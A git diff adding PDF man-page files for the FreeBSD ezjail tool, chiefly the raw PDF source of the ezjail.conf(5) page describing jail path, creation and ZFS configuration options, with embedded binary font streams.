+/LastChar 122 +/Widths [600 600 0 0 600 0 0 0 0 0 0 0 0 600 600 600 +600 600 600 600 600 0 600 0 600 600 600 0 0 0 0 0 +600 600 600 0 600 600 600 0 0 600 600 0 600 600 600 600 +600 0 600 600 0 600 0 0 600 600 600 0 0 0 0 600 +0 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 +600 600 600 600 600 600 600 600 600 600 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier +/FontDescriptor 44 0 R +>> +endobj +25 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 110 +/LastChar 117 +/Widths [500 500 0 0 389 0 0 500 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Italic +/FontDescriptor 45 0 R +>> +endobj +26 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JFOEFL+Symbol +/Encoding /Identity-H +/DescendantFonts [ 50 0 R ] +/ToUnicode 51 0 R +>> +endobj +50 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JFOEFL+Symbol +/FontDescriptor 46 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +155 [500 329 ] +157 [329] +] +>> +endobj +49 0 obj +<< +/Filter /FlateDecode +/Length 216 +>> +stream +HTPN0 A i Rnp=%u"7$Q{ly12.~ep +3qJ6 ߖsG# < S-)!/+!H*h[8 +yp3,?p*}k{KYӄTGA6oVVH;y2'b$[pZ+�!k +endstream +endobj +51 0 obj +<< +/Filter /FlateDecode +/Length 235 +>> +stream +HT?o w>ō:`HU$ )J"o_n~x~ i 3FpJS<hn9X~b#@+<myz, Y7D$>,pD�)`EW5"GFRn@| :;nߊm!'I':FfdI=ӏ!B)ux|J`�q[ +endstream +endobj +1 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 3 0 R +/Contents 2 0 R +>> +endobj +12 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 14 0 R +/Contents 13 0 R +>> +endobj +15 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 17 0 R +/Contents 16 0 R +>> +endobj +19 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 21 0 R +/Contents 20 0 R +>> +endobj +22 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 24 0 R +/Contents 23 0 R +>> +endobj +27 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 29 0 R +/Contents 28 0 R +>> +endobj +30 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 32 0 R +/Contents 31 0 R +>> +endobj +33 0 obj +<< +/Type /Page +/Parent 11 0 R +/Resources 35 0 R +/Contents 34 0 R +>> +endobj +52 0 obj +<< +/S /D +>> +endobj +53 0 obj +<< +/Nums [0 52 0 R ] +>> +endobj +11 0 obj +<< +/Type /Pages +/Kids [1 0 R 12 0 R 15 0 R 19 0 R 22 0 R 27 0 R 30 0 R 33 0 R] +/Count 8 +/MediaBox [0 0 612 792] +>> +endobj +54 0 obj +<< +/CreationDate (D:20130420011643+02'00') +/ModDate (D:20130420011643+02'00') +/Producer (Apple pstopdf) +>> +endobj +55 0 obj +<< +/Type /Catalog +/Pages 11 0 R +/PageLabels 53 0 R +>> +endobj +xref +0 56 +0000000000 65535 f +0000132354 00000 n +0000000016 00000 n +0000007298 00000 n +0000128271 00000 n +0000129131 00000 n +0000129546 00000 n +0000130104 00000 n +0000130561 00000 n +0000130735 00000 n +0000055106 00000 n +0000133091 00000 n +0000132435 00000 n +0000007450 00000 n +0000015596 00000 n +0000132519 00000 n +0000015738 00000 n +0000022010 00000 n +0000128772 00000 n +0000132603 00000 n +0000022164 00000 n +0000031587 00000 n +0000132687 00000 n +0000031741 00000 n +0000039544 00000 n +0000131204 00000 n +0000131395 00000 n +0000132771 00000 n +0000039735 00000 n +0000044357 00000 n +0000132855 00000 n +0000044524 00000 n +0000052917 00000 n +0000132939 00000 n +0000053082 00000 n +0000054973 00000 n +0000055247 00000 n +0000055474 00000 n +0000079620 00000 n +0000079822 00000 n +0000080049 00000 n +0000108857 00000 n +0000109054 00000 n +0000109255 00000 n +0000109452 00000 n +0000109643 00000 n +0000109843 00000 n +0000110033 00000 n +0000128921 00000 n +0000131757 00000 n +0000131538 00000 n +0000132046 00000 n +0000133023 00000 n +0000133051 00000 n +0000133222 00000 n +0000133345 00000 n +trailer +<< +/Size 56 +/Root 55 0 R +/Info 54 0 R +/ID [<06e7ee2eed84275abb84850071bfd8d6><06e7ee2eed84275abb84850071bfd8d6>] +>> +startxref +133415 +%%EOF diff --git a/files/arts/software/ezjail/ezjail.conf.5.pdf b/files/arts/software/ezjail/ezjail.conf.5.pdf new file mode 100644 index 0000000..a68e4ff --- /dev/null +++ b/files/arts/software/ezjail/ezjail.conf.5.pdf @@ -0,0 +1,1605 @@ +%PDF-1.3 +% +2 0 obj +<< +/Length 5435 +>> +stream +BT +/TT2 1 Tf +10 0 0 10 72 756 Tm +0 g +/GS1 gs +0 Tc +0 Tw +[(N)20(AME)]TJ +/TT4 1 Tf +3 -1.2 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.8511 0 TD +[()-250(con)]TJ +/TT7 1 Tf +2.6938 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(guration )Tj +/TT7 1 Tf +3.5825 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le for ezjail script)Tj +/TT2 1 Tf +-17.2397 -2.4 TD +(DESCRIPTION)Tj +/TT6 1 Tf +3 -1.2 TD +(The )Tj +/TT7 1 Tf +1.8475 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le)Tj +/TT4 1 Tf +1.0145 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.8939 0 TD +0.0428 Tw +(contains settings that control the operation of the ezjail)Tj +/TT4 1 Tf +22.5731 0 TD +0 Tw +(rc)Tj +/TT6 1 Tf +1.2002 0 TD +0.0427 Tw +(\(8\) script. It is also read)Tj +-34.0853 -1.2 TD +0.0287 Tw +(by the)Tj +/TT9 1 Tf +2.7791 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.4799 0 TD +0.0287 Tw +(utility to )Tj +/TT7 1 Tf +3.7244 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0287 Tw +(gure out where it should perform its actions. Its path is set at installation)Tj +-14.5395 -1.2 TD +1.2638 Tw +(time to)Tj +/TT4 1 Tf +5.5828 0 TD +0 Tw +(EZJAIL_PREFIX/etc/ezjail.conf)Tj +/TT6 1 Tf +17.4028 0 TD +1.2638 Tw +[(,)-1513.8(with an e)15(xample )]TJ +/TT7 1 Tf +12.399 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5561 0 TD +1.2637 Tw +(le installed at)Tj +/TT4 1 Tf +-35.9407 -1.2 TD +0 Tw +(EZJAIL_PREFIX/etc/ezjail.conf.sample)Tj +/TT6 1 Tf +21.6035 0 TD +(.)Tj +-21.6035 -1.8 TD +(This )Tj +/TT7 1 Tf +2.0323 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0045 Tw +(le is really a shell script that is sourced by the)Tj +/TT9 1 Tf +18.5168 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.4558 0 TD +0.0046 Tw +[(command at run-time.)-504.6(\(str\) denotes)]TJ +-28.561 -1.2 TD +0.0199 Tw +[(a)-269.9(string; it should be enclosed in quotes if it contains space.)-519.9(\(bool\) notes a boolean, whose possible v)25(alues)]TJ +T* +0 Tw +(are YES and NO.)Tj +/TT2 1 Tf +-3 -2.4 TD +0.1666 Tw +[(P)74(A)95(TH OPTIONS)]TJ +/TT6 1 Tf +3 -1.2 TD +0 Tw +(ezjail_jaildir \(str\))Tj +4.1 -1.2 TD +(Location of jail root directories.)Tj +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(/usr/jails)Tj +/TT6 1 Tf +3.5566 0 TD +(.)Tj +-11.173 -1.8 TD +(ezjail_jailtemplate \(str\))Tj +4.1 -1.2 TD +[(Location of template jail used to create a ne)25(w)-250(jail)]TJ +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(${ezjail_jaildir}/ne)15(wjail)]TJ +/TT6 1 Tf +9.674 0 TD +(.)Tj +-17.2903 -1.8 TD +(ezjail_jailbase \(str\))Tj +4.1 -1.2 TD +(Location of base jail, the one that is mounted to all jails)Tj +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(${ezjail_jaildir}/basejail)Tj +/TT6 1 Tf +9.9111 0 TD +(.)Tj +-17.5275 -1.8 TD +(ezjail_sourcetree \(str\))Tj +4.1 -1.2 TD +0.0369 Tw +[(Location of your cop)10(y)-286.9(o)0(f)-286.9(FreeBSD)55(s)-286.9(source tree \(refer to the)]TJ +/TT4 1 Tf +24.86 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +0.037 Tw +(\(8\) utility for more)Tj +-32.0612 -1.2 TD +0 Tw +(information\).)Tj +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(/usr/sr)37(c)]TJ +/TT6 1 Tf +3.0192 0 TD +(.)Tj +-10.6355 -1.8 TD +(ezjail_)Tj +/TT7 1 Tf +2.665 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(ours_dir \(str\))]TJ +0.8788 -1.2 TD +(Location of the )Tj +/TT7 1 Tf +6.3589 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(ours, where each directory is a dif)25(ferent )]TJ +/TT7 1 Tf +17.038 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(our)55(.)]TJ +-24.5092 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(${ezjail_jaildir}/)Tj +/TT12 1 Tf +6.7446 0 TD +()Tj +/TT11 1 Tf +0.5 0 TD +[(avour)10(s)]TJ +/TT6 1 Tf +2.7122 0 TD +(.)Tj +-17.5732 -1.8 TD +(ezjail_ftphost \(str\))Tj +4.1 -1.2 TD +[(This is where the install subcommand def)10(aults to fetch its packages from.)]TJ +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(ftp.fr)37(eebsd.or)37(g)]TJ +/TT6 1 Tf +5.8147 0 TD +(.)Tj +-13.431 -1.8 TD +[(ezjail_archi)25(v)15(edir \(str\))]TJ +4.1 -1.2 TD +[(This is the def)10(ault archi)25(v)15(e)15( )-15(location for the)]TJ +/TT9 1 Tf +16.9441 0 TD +(ezjail-admin archive)Tj +/TT6 1 Tf +12.252 0 TD +(command.)Tj +-29.1961 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(${ezjail_jaildir}/ezjail_ar)37(c)15(hives)]TJ +/TT6 1 Tf +12.7468 0 TD +(.)Tj +/TT2 1 Tf +-23.3632 -2.4 TD +0.1666 Tw +[(J)30(AIL ADMIN OPTIONS)]TJ +/TT6 1 Tf +3 -1.2 TD +0 Tw +[(ezjail_def)10(ault_e)15(x)15(ecute \(str\))]TJ +4.1 -1.2 TD +[(This is the def)10(ault command e)15(x)15(ecuted in a jail by)]TJ +/TT9 1 Tf +19.8985 0 TD +(ezjail-admin console)Tj +/TT6 1 Tf +12.0019 0 TD +(.)Tj +-31.9004 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(/usr/bin/lo)10(gin -f r)45(oot)]TJ +/TT6 1 Tf +8.1681 0 TD +(.)Tj +-15.7845 -1.8 TD +[(ezjail_e)15(x)15(ec_start \(str\))]TJ +4.1 -1.2 TD +[(The command to e)15(x)15(ecute in a jail when starting it.)]TJ +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(/bin/sh /etc/r)37(c)]TJ +/TT6 1 Tf +5.4899 0 TD +(.)Tj +/TT2 1 Tf +-16.1062 -2.4 TD +0.1666 Tw +[(J)30(AIL CREA)95(TION OPTIONS)]TJ +/TT6 1 Tf +3 -1.2 TD +0.0702 Tw +[(Def)10(ault options for ne)25(wly created jails. Used by the)]TJ +/TT4 1 Tf +21.4799 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +0.0702 Tw +[(\(1\) utility)65(.)-320.2(B)0(e)-320.2(careful about disabling)]TJ +/TT11 1 Tf +-28.6811 -1.2 TD +0 Tw +(ezjail_mount_enable)Tj +/TT6 1 Tf +8.332 0 TD +(.)Tj +-8.332 -1.8 TD +(ezjail_mount_enable \(bool\))Tj +4.1 -1.2 TD +(Controls whether)Tj +/TT4 1 Tf +7.1655 0 TD +(/etc/fstab.)Tj +/TT14 1 Tf +7.2011 0 TD +(hostname)Tj +/TT6 1 Tf +5.0508 0 TD +[(should be e)15(x)15(ecuted at jail startup time.)]TJ +-19.4174 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(YES)Tj +/TT6 1 Tf +1.667 0 TD +(.)Tj +-12.2834 -7.2 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(1)]TJ +ET +endstream +endobj +3 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT7 7 0 R +/TT9 8 0 R +/TT11 9 0 R +/TT12 10 0 R +/TT14 11 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +15 0 obj +<< +/Length 5345 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL.CONF \(5\))-9100.9(User)55(s)-250(Supplementary )-83.4(Documents)-9100.9(EZJ)60(AIL.CONF \(5\))]TJ +3 -4.8 TD +0 Tw +[(ezjail_de)25(vfs_enable \(bool\))]TJ +4.1 -1.2 TD +0.0181 Tw +[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-268.1(a)-268.1(w)10(orking)]TJ +/TT4 1 Tf +23.2193 0 TD +0 Tw +(/dev)Tj +/TT6 1 Tf +2.6686 0 TD +0.0182 Tw +[(directory)65(.)-268.2(\(Refer to)]TJ +/TT4 1 Tf +7.9305 0 TD +0 Tw +(devfs)Tj +/TT6 1 Tf +3.0005 0 TD +0.0182 Tw +(\(5\) and)Tj +/TT4 1 Tf +-36.8189 -1.2 TD +0 Tw +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\) for more information\).)Tj +-2.4004 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(YES)Tj +/TT6 1 Tf +1.667 0 TD +(.)Tj +-9.2834 -1.8 TD +[(ezjail_de)25(vfs_ruleset \(str\))]TJ +4.1 -1.2 TD +(Speci)Tj +/TT7 1 Tf +2.2217 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2398 Tw +[(es which de)25(vfs ruleset should apply for ne)25(wly created jails.)-739.8(\(Refer to)]TJ +/TT4 1 Tf +30.8195 0 TD +0 Tw +(devfs)Tj +/TT6 1 Tf +3.0005 0 TD +0.2398 Tw +(\(5\) and)Tj +/TT4 1 Tf +-36.5978 -1.2 TD +0 Tw +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\) for more information\).)Tj +-2.4004 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +[(de)15(vfsrules_jail)]TJ +/TT6 1 Tf +5.8732 0 TD +(.)Tj +-13.4895 -1.8 TD +(ezjail_procfs_enable \(bool\))Tj +4.1 -1.2 TD +0.0575 Tw +[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-307.5(a)-307.5(w)10(orking)]TJ +/TT4 1 Tf +23.5739 0 TD +0 Tw +(/proc)Tj +/TT6 1 Tf +3.3081 0 TD +0.0576 Tw +[(directory)65(.)-307.6(\(Refer to)]TJ +/TT4 1 Tf +8.0487 0 TD +0 Tw +(procfs)Tj +/TT6 1 Tf +3.6006 0 TD +(\(5\))Tj +-38.5313 -1.2 TD +(and)Tj +/TT4 1 Tf +1.6938 0 TD +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(\(8\)\) for more information\).)Tj +-4.0942 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(YES)Tj +/TT6 1 Tf +1.667 0 TD +(.)Tj +-9.2834 -1.8 TD +(ezjail_fdescfs_enable \(bool\))Tj +4.1 -1.2 TD +0.3304 Tw +[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-580.3(a)-580.3(w)10(orking)]TJ +/TT4 1 Tf +26.0296 0 TD +0 Tw +(/dev/fd/)Tj +/TT6 1 Tf +5.3811 0 TD +0.3303 Tw +[(directory)65(.)-580.3(\(Refer to)]TJ +/TT4 1 Tf +-31.4107 -1.2 TD +0 Tw +(fdescfs)Tj +/TT6 1 Tf +4.2007 0 TD +(\(\(5\)\) and)Tj +/TT4 1 Tf +3.7759 0 TD +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(\(8\)\) for more information\).)Tj +-10.377 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(YES)Tj +/TT6 1 Tf +1.667 0 TD +(.)Tj +-9.2834 -1.8 TD +(ezjail_uglyperlhack \(bool\))Tj +4.1 -1.2 TD +0.8332 Tw +[(Set to YES, if ezjail should pro)15(vide a soft link from)]TJ +/TT4 1 Tf +30.0364 0 TD +0 Tw +(/usr/bin/perl)Tj +/TT6 1 Tf +8.8846 0 TD +(to)Tj +/TT4 1 Tf +-38.921 -1.2 TD +(/usr/local/bin/perl)Tj +/TT6 1 Tf +11.6519 0 TD +(in base jail.)Tj +-11.6519 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(YES)Tj +/TT6 1 Tf +1.667 0 TD +(.)Tj +-9.2834 -1.8 TD +[(ezjail_def)10(ault_)]TJ +/TT7 1 Tf +5.9314 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(our \(str\))]TJ +-2.3876 -1.2 TD +0.0577 Tw +(Controls which )Tj +/TT7 1 Tf +6.5041 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0576 Tw +[(a)20(v)20(ours should be used for ne)25(wly created jails if none are gi)25(v)15(e)0(n)-307.6(o)0(n)-307.6(the command)]TJ +-7.0602 -1.2 TD +0 Tw +(line.)Tj +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(none)Tj +/TT6 1 Tf +1.9438 0 TD +(.)Tj +-9.5602 -1.8 TD +(ezjail_imagetype \(one of simple, bde, eli, zfs\))Tj +4.1 -1.2 TD +[(T)80(ype of jail to create when creating a jail with the)]TJ +/TT8 1 Tf +20.2726 0 TD +<00e9>Tj +/TT9 1 Tf +0.6001 0 TD +(i)Tj +/TT7 1 Tf +0.8501 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(ag without specifying the type e)15(xplicitely)65(.)]TJ +-22.279 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(simple)Tj +/TT2 1 Tf +-10.6164 -2.4 TD +0.1666 Tw +(ZFS OPTIONS)Tj +/TT6 1 Tf +3 -1.2 TD +0 Tw +(ezjail_use_zfs \(bool\))Tj +4.1 -1.2 TD +[(Set to YES, if ezjail should manage basejail and ne)25(wjail in a seperate ZFS-datasets.)]TJ +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(NO)Tj +/TT6 1 Tf +1.3892 0 TD +(.)Tj +-9.0055 -1.8 TD +(ezjail_use_zfs_for_jails \(bool\))Tj +4.1 -1.2 TD +0.0171 Tw +[(Set to YES, if ezjail should manage all ne)25(w)-267.1(jails in their o)25(wn ZFS-datasets. T)80(o)-267.1(o)15(v)15(erride that on the)]TJ +T* +0.4442 Tw +(command line, use)Tj +/TT9 1 Tf +9.1085 0 TD +(ezjail-admin create -c simple)Tj +/TT6 1 Tf +19.4296 0 TD +(for image based jails or)Tj +/TT9 1 Tf +-28.5381 -1.2 TD +0 Tw +(ezjail-admin create -c )Tj +/TT6 1 Tf +15.2524 0 TD +(for non-image jails.)Tj +-15.2524 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(NO)Tj +/TT6 1 Tf +1.3892 0 TD +(.)Tj +-9.0055 -1.8 TD +(ezjail_jailzfs \(str\))Tj +4.1 -1.2 TD +0.0623 Tw +(The name of the parent ZFS-dataset which ezjail will use to create jails on. It will be mounted in)Tj +/TT11 1 Tf +T* +0 Tw +(ezjail_jaildir)Tj +/TT6 1 Tf +5.167 0 TD +[(.)-500(Setting this will automaticly enable ezjail managing jails in seperate ZFS-datasets.)]TJ +-5.167 -1.2 TD +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(none)Tj +/TT6 1 Tf +1.9438 0 TD +(.)Tj +-9.5602 -1.8 TD +(ezjail_zfs_properties \(str\))Tj +4.1 -1.2 TD +0.0926 Tw +[(Def)10(ault properties ZFS will use for creating datasets. See)]TJ +/TT4 1 Tf +23.9278 0 TD +0 Tw +(zfs)Tj +/TT6 1 Tf +1.8003 0 TD +0.0925 Tw +[(\(1m\) for details. AD)40(V)135(ANCED, be)]TJ +-25.7281 -1.2 TD +0 Tw +[(v)15(ery careful!)]TJ +T* +[(Def)10(ault:)]TJ +/TT11 1 Tf +3.5164 0 TD +(none)Tj +/TT6 1 Tf +1.9438 0 TD +(.)Tj +-12.5602 -7.2 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(2)]TJ +ET +endstream +endobj +16 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT7 7 0 R +/TT8 17 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +19 0 obj +<< +/Length 1502 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL.CONF \(5\))-9100.9(User)55(s)-250(Supplementary )-83.4(Documents)-9100.9(EZJ)60(AIL.CONF \(5\))]TJ +/TT2 1 Tf +0 -4.8 TD +0 Tw +(FILES)Tj +/TT6 1 Tf +3 -1.2 TD +[(EZJ)60(AIL_PREFIX/etc/ezjail.conf)]TJ +T* +[(EZJ)60(AIL_PREFIX/etc/rc.d/ezjail.sh)]TJ +/TT2 1 Tf +-3 -2.4 TD +0.1666 Tw +(SEE ALSO)Tj +/TT4 1 Tf +3 -1.2 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +(\(1\),)Tj +/TT4 1 Tf +1.666 0 TD +(ezjail)Tj +/TT6 1 Tf +3.6006 0 TD +(\(5\),)Tj +/TT4 1 Tf +1.666 0 TD +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\),)Tj +/TT4 1 Tf +1.666 0 TD +(devfs)Tj +/TT6 1 Tf +3.0005 0 TD +(\(5\),)Tj +/TT4 1 Tf +1.666 0 TD +(fdescfs)Tj +/TT6 1 Tf +4.2007 0 TD +(\(5\),)Tj +/TT4 1 Tf +1.666 0 TD +(procfs)Tj +/TT6 1 Tf +3.6006 0 TD +(\(5\).)Tj +/TT2 1 Tf +-35.334 -2.4 TD +[(A)50(UTHOR)]TJ +/TT6 1 Tf +3 -1.2 TD +(Dirk Engling)Tj +/TT15 1 Tf +5.4995 0 TD +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(erdgeist@erdgeist.or)18(g)]TJ +/TT15 1 Tf +8.817 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-14.9747 -1.8 TD +0.0754 Tw +(The man page is based on a draft by JoeB)Tj +/TT15 1 Tf +17.6935 0 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(joeb1@a1po)25(weruser)55(.com)]TJ +/TT15 1 Tf +10.1431 0 TD +<009c>Tj +/TT6 1 Tf +0.6546 0 TD +0.0755 Tw +[(and w)10(as re)25(written by Frederic Perrin)]TJ +/TT15 1 Tf +-28.8203 -1.2 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +(frederic.perrin@resel.fr)Tj +/TT15 1 Tf +9.4707 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-13.1289 -52.8 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(3)]TJ +ET +endstream +endobj +20 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT15 21 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +12 0 obj +<< +/Type /ExtGState +/SA false +/SM 0.02 +/OP false +/op false +/OPM 1 +/BG2 /Default +/UCR2 /Default +/HT /Default +/TR2 /Default +>> +endobj +22 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 262151 +/FontBBox [-113 -250 749 801] +/FontName /JGDKHH+Courier-Bold +/ItalicAngle 0 +/StemV 133 +/XHeight 439 +/StemH 84 +/FontFile2 23 0 R +>> +endobj +23 0 obj +<< +/Filter /FlateDecode +/Length 24054 +/Length1 172192 +>> +stream +HOlgJ#Ƥk&رv8I'NNblj$]muCА6i&ځ8p@h;J Bq3O_7}_cA|W'/.o=AX({Ż]~_AպO~ϼx~+KAͺnߺJ7}_{c~헺şWwܺx{_w'?wUk߉;?<A|ї_}]wyÇ z|{.8U{Ͽ<K౿Ž[˛W~ .M6Ƃ+~o'+o|J! ^kW͓&a .oApݙ\okg~k>4:7I=0czGm܎Yu5q_͟? =m32wyh`&bJA?C!?a0?a0?G#?GQ(?GQ(?c1?cSSSSSSSSSSSSSq8?q8?.'I$x< O'I$x< 93<I$O'ɓI$y<I$O'ɓIxR<)O'œIxR<)riviviviviviOg3 ?ßg3ddddə3'gNΜ99sr93'gNΜ9g<Y,OVYe[VoYe[VYr/gr/gr˹/'+o/o/o˙3/g^μy9r˙3/gnA;(xx +<OS)xwPA;(zEwPA;Xۂ,x w,x ggV[SAI%JΕ+9Wr%E-mQo,:E-mQoz[ԛZ%-mIΒ%-mIoKz[ےޖe-mnz[|_۲ޖe-mS[YoeV[YoeV[YeV[EoUV[Eo +_WWWWWWWWWWWWWWWWWWWWWWWWWWU*_WU*_k5_k55555555555555uuuuuuuuuuuu :_u:_ooooooooooooo7 o7 *666666666666o7M&o7wwww[-o[-oδٓ'gOΞ3{rٓ'gOΞ}9rٗ}=y_zsG=wsG=wsG=wsW]=wsW]=wsW]=wsWz>|CCCCCCCCCCCC~_{={=}>??C!?C?G#?쒬h*P09!yCWΩ+*>/0eŬDIJR2Jƽ֔ڮm=}>⿄K/? 1c? 1?8q? 'O? 'O?$I'O?)SO? +)SO?4iO?4i3g? 3g?,Yg?,Yg?9s?T??<y/_ /_ O>|)SħO">E|)SħO >%|J)S§O yJa e|)SƧO2>e|)SO +>|* +>|*T𩰟~V*Ye?gU~V*Yſ5k_ÿ 5kῌ2/㿌2/㿌2/_ǿ:u_ǿ:u7o 7o&1M4$O<M4$O<M4$O<-bZiEyZiEyZiE6yԹMԹMԹMԹMԹMԹM;ԹC;ԹC;ԹC;ԹC;ԹC;tam]֥]꒫K.8uw.Ww٧.9{#[zثy{#o=G\퓳_:Yo>uS>uS>u铳O]O]e@܀|:`:.2`2q@]qqH!y|OC8{7{= 7"nD6bGč|#8bGĎs:GqL]8c:&vL1ʘoeL1yfLm&䝰 'eB]&DŽN b'NXL֦uΔSN?%~J)SOvo~XX=`tY5gqnNNza;Pav"Pa ;\Žv#Xa ;^ Nv"Ta ;]vvs'|aP&a X%.v˅]!l+]%jaVu®E –ńŅ%%eeUUՄ- kk +k k  +  +   +Q}Pτ\/Z؝DŽ=*qa{J3ž焽 ya/ + {YؿSk^7J_μHDž}Bg$/ <[g9!~!Uun+[b;}uk6/-ΘZ5*v,vU,z ު؍ZYWXDŽ}qYM3wH}_+0խ5KH݄+l?a{ {U6UlV7x=(墼z ,"0OVد&vawݳj[+ w {PCCެ9+#K|Y/LFlߑy&nyO -[ ~/~~/%a? {kEAw}MׅPH/P<ɝS{WYYDm#l[a ^ػ[v&Z wf wf=)L`oa{0Ear׌X37@p ¤? +vC*0aG +;JرŽv'ɼ׌OZ3%%8m53$Lag (\a҇_f|lvK]&raW,JaVukׯo- K + 7aPVVVVV,.!)%-#+'/l l(l,l"l*F9䞉={&"'YTz Q3DgJ'*}DTz Q離r/E^,ޫ�=z3׳k]/y>2i<3Z9l6}fs>2i6+y[٢|+,JNzu֛.a'Umnv0yw +Kvɻ/_[5xDأ'=))aO {Fسž$ea{Uk^7%mBa JD yD<y "AD4-a'<FPzPzPPzPzp[a/// "{!{!{!A؎¤ w݄.la{ +2282W~7pQ:aҗҗ + L΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍xaӄ׆׆w;Uءvvs'LzPzBa X%.v˅]!l+]%jaVBy[ lIXLX\XBXRXJ3g.4MPr  "ƥ,H@ l1BEѶ ZK +mZ)K03siW'~<30ƀ6lx2r `nv3Xd)``Sn6i`fV v;l; Vv\y`-l=`[vR=�Z= +q5`O{ +g z `u`^�{` `!؏~ "~[~S +�u7k`;v,3jxV +r^.i:M*D]e2I60 r'Yhc4dn [}WO}M}HC +GV=  }^{ zު�L =NC48  z^``f`X+`9`ki\π僵; 